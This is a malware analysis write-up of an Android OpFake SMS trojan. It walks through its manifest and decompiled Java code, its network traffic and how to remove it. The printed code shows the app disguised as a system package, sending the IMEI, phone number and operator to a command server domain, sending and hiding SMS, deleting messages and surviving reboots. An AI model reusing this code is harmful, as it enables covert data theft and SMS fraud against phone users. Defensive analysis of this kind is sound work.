AndroidOS.Opfake.a malware analysis

While sifting through the Clean-MX malware database I found one suspicious APK with a low detection rate (3/39 on VirusTotal), so I decided it was worth to a look at what seemed to be an OpFake variant.

Clean-MX Link: http://support.clean-mx.de/clean-mx/viruses.php?id=14835516
VT Link: https://www.virustotal.com/it/file/f0a24c53a84c413175594bd8b25a9eebe3f04d6fbf944a9e88cc293d7e911944/analysis/
APK Link: OpFake (as usual password is infected)

The malicious application has the following characteristics:

Original name: application.apk
MD5: e4941df174ee0700e004904c7c8c132f
SHA-1: 6764bb175b808b87306814ef71bbb8094a9e5c90
File Size: 16566 Bytes

As usual, before analyzing the Dalvik code or Java source code we have to go through the AndroidManifest.xml file to understand the application’s characteristics.

To read the manifest we can use AXMLPrinter2.jar or simply APK Tool which, among other things, returns a folder containing the whole APK file content, such as: res and smali folder, AndroidManifest.xml file, etc.

OpFake_apktool

Below the manifest file:

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.android.system"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="7" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE" />
    <application android:label="Android" android:icon="@drawable/icon" android:debuggable="true">
        <activity android:label="@string/app_name" android:name="com.android.system.AppDownloaderActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver android:name=".SmsReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <receiver android:name=".OnBootReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
        <receiver android:name=".IncomingCallReceiver">
            <intent-filter>
                <action android:name="android.intent.action.PHONE_STATE" />
            </intent-filter>
        </receiver>
        <service android:name="com.android.system.SystemService" android:enabled="true" />
        <receiver android:name="com.android.system.ServiceController" />
    </application>
</manifest>

We can see 12 permissions are requested, the most important are the following:

android.permission.SEND_SMS  | send SMS messages:  Allows application to send SMS messages. Malicious applications may cost you money by sending messages without your confirmation.

android.permission.WRITE_SMS  | edit SMS or MMS: Allows application to write to SMS messages stored on your phone or SIM card. Malicious applications may delete your messages.

android.permission.RECEIVE_SMS | receive SMS: Allows application to receive and process SMS messages. Malicious applications may monitor your messages or delete them without showing them to you.

android.permission.INTERNET | full Internet access: Allows an application to create network sockets.

android.permission.READ_CONTACTS | read contact data: Allows an application to read all of the contact (address) data stored on your phone. Malicious applications can use this to send your data to other people.

android.permission.READ_SMS | read SMS or MMS: Allows application to read SMS messages stored on your phone or SIM card. Malicious applications may read your confidential messages.

The other are also important but those above are specific to the bad goals of malicious application.

From the manifest we can identify the Main Activity between the activity tags:

<activity android:label="@string/app_name" android:name="com.android.system.AppDownloaderActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

So AppDownloaderActivity is the main activity and it’ll be the first class invoked from the malware.

Last but not least we can also check Services and Receivers:

<service android:name="com.android.system.SystemService" android:enabled="true" />

and

<receiver android:name=".SmsReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <receiver android:name=".OnBootReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
        <receiver android:name=".IncomingCallReceiver">
            <intent-filter>
                <action android:name="android.intent.action.PHONE_STATE" />
            </intent-filter>
        </receiver>

Now that we’ve analysed the Manifest, we can take a look at code.

To do this we’ll use dex2jar and Java Decompiler, this available online here. The first one is useful to obtain the Java source code from the dex (Dalvik Executable) file and the second to read the code obtained.

OpFake_dex2jar

Because AppDownloaderActivity is the main activity, we begin code analysis from this class. Fortunately for us this malware is not obfuscated.

The method onCreate() is what we are interested in, so here’s the code:

public void onCreate(final Bundle bundle) {

        super.onCreate(bundle);

        this.setContentView(2130903040);

        Intent intent = new Intent(this, SystemService.class);

        intent.setFlags(268435456);

        this.startService(intent);

        intent = new ComponentName(this.getApplicationContext().getPackageName(), this.getApplicationContext().getPackageName() + ".AppDownloaderActivity");

        this.getPackageManager().setComponentEnabledSetting(intent, 2, 1);

    }

As we can understand from code above, the main activity starts the malicious service, so we can jump to SystemService class.

Here we find all the methods declaration which manipulate the service started by application. In particular we should see a Domain: online17.ru

More information can be extracted from the onStart() method:

public void onStart(final Intent intent, final int n) {

        super.onStart(intent, n);

        SystemService.context = this;

        SystemService.prefs = PreferenceManager.getDefaultSharedPreferences(SystemService.context);

        SystemService.url = SystemService.prefs.getString(this.getString(2130968578), SystemService.mainurl);

        new addTask().execute(new String[0]);

        this.SetAlarm(this);

During service’s startup a task is added through SystemService$addTask class, that is doInBackground() method:

protected String doInBackground(final String[] array) {

        URISyntaxException string = null;

        DefaultHttpClient defaultHttpClient;

        TelephonyManager simOperatorName;

        final String deviceId;

        StringBuilder simCountryIso;

        String s;

        Label_0223:

        {

            try {

                defaultHttpClient = new DefaultHttpClient();

                simOperatorName = (TelephonyManager)SystemService.context.getSystemService("phone");

                deviceId = simOperatorName.getDeviceId();

                simCountryIso = simOperatorName.getSimCountryIso();

                s = simOperatorName.getLine1Number();

                simOperatorName = simOperatorName.getSimOperatorName();

            }

            catch (Exception) {

                string = "1";

                return string;

            }

            Label_0215:

            {

                try {

                    s = defaultHttpClient.execute(new HttpGet((String)new URI("http", SystemService.url, "/dev/reg.php", "country=" + simCountryIso + "&phone=" + s + "&op=" + simOperatorName + "&balance=" + SmsReceiver.secretcode + "&imei=" + deviceId, null).toASCIIString())).getEntity().getContent();

                    defaultHttpClient = new BufferedReader(new InputStreamReader(s, "utf-8"), 8);

                    simCountryIso = new StringBuilder();

                }

                catch (URISyntaxException string) {

                    while (true) {

                        string.printStackTrace();

                    }

                }

                catch (Exception) {}

                try {

                    if (defaultHttpClient.readLine() == null) {

                        s.close();

                        defaultHttpClient.close();

                        string = simCountryIso.toString();

                        Log.d("Test", string);

                    }

                }

                catch (URISyntaxException) {}

                catch (Exception) {}

                return string;

                final URISyntaxException ex;

                string = ex;

                break Label_0215;

            }

            break Label_0223;

        }

    }

doInBackground() is the most important function on this part of code because it collects personal information such as SIM Card info, Device info, etc. Then it builds a domain URL to perform a request with defaultHttpClient() method.

online17.ru  domain is the one that receives all the info collected before.

It’s clear that one of the goals of the malicious app is to steal user’s personal data from the smartphone.

Let’s now explain what happens inside the receiver.

The malware is clearly able to survive the reboot. If you scroll up to the manifest explanation you’ll see that RECEIVE_BOOT_COMPLETED permission and OnBootReceiver receiver are requested in order to remain persistent on the system.

Here its code:

public class OnBootReceiver extends BroadcastReceiver

{

    public void onReceive(final Context context, final Intent intent) {

        final Intent intent2 = new Intent(context, SystemService.class);

        intent2.setFlags(268435456);

        context.startService(intent2);

    }

}

Let’s go now to ServiceController class. There are many functions which manage background operations like sendSMS (to send a SMS), appendLog (to create a log file for actions performed) , etc…

The s and s2 paramaters in the sendSMS() function are the recipient’s number and the text to deliver.

private void sendSMS(final String s, final String s2) {

        final PendingIntent broadcast = PendingIntent.getBroadcast(this.ctx, 0, new Intent("SMS_SENT"), 0);

        final PendingIntent broadcast2 = PendingIntent.getBroadcast(this.ctx, 0, new Intent("SMS_DELIVERED"), 0);

        SmsManager.getDefault().sendTextMessage(s, null, s2, broadcast, broadcast2);

    }

In order to get a better understanding of the whole process, we need to analyse also the SmsReceiver class: the onReceive method is used as a means to control the infected phone, what happens in here is that the incoming SMS is parsed looking for a sender’s number containing 088011 or 000100, if this condition is satisfied the body is parsed through the following regular expression: “-?\\d+” that means: look for an optional ‘-’ sign and then for a sequence of decimal numbers. If this sequence is identified, the group matching it is set as the secret code and the sms is hidden from the user’s eyes.

public void onReceive(final Context context, final Intent intent) {

        Bundle extras = intent.getExtras();

        if (extras != null) {

            extras = (Object[])extras.get("pdus");

            final SmsMessage[] array = new SmsMessage[extras.length];

            for (int i = 0; i < array.length; ++i) {

                array[i] = SmsMessage.createFromPdu((byte[])extras[i]);

                if (array[i].getOriginatingAddress().contains("088011") || array[i].getOriginatingAddress().contains("000100")) {

                    final Matcher matcher = Pattern.compile("-?\\d+").matcher(array[i].getDisplayMessageBody());

                    if (matcher.find()) {

                        SmsReceiver.secretcode = matcher.group();

                        this.abortBroadcast();

                    }

                }

                if (SystemService.smsMode) {

                    this.abortBroadcast();

                    SystemService.smsMode = false;

                }

            }

            if (0 > 0) {

                this.abortBroadcast();

            }

        }

    }

Then we have SmsReceiver$Scan class which, via the run() method, scans for SMS (note content://sms URI) and it’s able to delete existing messages:

public void run() {

        try {

            final Exception parse = Uri.parse("content://sms");

            final Cursor query = this.ctx.getContentResolver().query(parse, null, null, null, null);

            while (query.moveToNext()) {

                final ContentValues contentValues = new ContentValues();

                contentValues.put("read", Boolean.valueOf(true));

                ContentResolver contentResolver = this.ctx.getContentResolver();

                contentResolver.update(parse, contentValues, "address=?", new String[] { this.Msg.getOriginatingAddress() });

                contentResolver = this.ctx.getContentResolver();

                contentResolver.delete(parse, "address=?", new String[] { this.Msg.getOriginatingAddress() });

            }

        }

        catch (Exception parse) {

            final Exception parse;

            parse.printStackTrace();

        }

    }

Even more important are ServiceController$CheckTask and ServiceController$SetTask.

The first builds a URL domain and makes a request (same domain) to perform a check, in this check the application reads a domain from a JSON file (if you should have problem to decompile this class try to use ShowMyCode to do it properly). The second is a different way to build another URL domain (this time to set a task as class name suggests) and then it does again a request.

Here it is the JSON intercepted from mailkryton.be***.ru:

[
   {
      "date":"2013-09-07 16:07:16",
      "country":"us",
      "phone":"15555215554",
      "operator":"Android",
      "IMEI":"357242043237517",
      "balance":"192.102.1.217",
      "active_1":"0",
      "number_1":null,
      "prefix_1":null,
      "last_active":"2013-09-07 16:08:25",
      "active_2":"0",
      "text_2":null,
      "active_3":"0",
      "action_url":null,
      "url":null,
      "active_4":"0",
      "server":null
   }
]

We can use Wireshark to better understand the flow of network operations:

Network

OpFake_Network

HTTP Requests

OpFake_HTTPRequests

TCP Stream

OpFake_TCPStream

INFO

country=us
phone=15555215554
op=Android
balance=0
imei=35724204323751
Host: online17.ru

In here we have all the information about the smartphone targeted, this same information is sent through the HTTP request to the server that gathers all the data. It is been reported by Kaspersky that this malware is used to deliver the infamous Android.OBad trojan through targeted SMS. Being on an emulator we were unable to receive SMS messages, anyway the HTTP request performed might be used to gather the infected phone’s number in order to later use it as a destination for an infection SMS containing a link to Android.OBad.

To examine more in depth the network traffic we can use Burp suite while the app is running inside the Emulator. Once you have created a virtual device, run Burp Suite from a shell by typing: emulator @NameOfYourDevice -http-proxy 127.0.0.1:8080 and should be good to do.

At last, we can also take a look at how the application appears on an infected device:

OpFake_ADBInstall

OpFake_Menu

OpFake_Panel

Below the flow operations explained (and not) in this post.

OpFake_Flow

Malicious App Removal

This application doesn’t use particular protections against uninstallation so it can be simply removed through the application list, or via ADB: adb uninstall com.android.system.

Antelox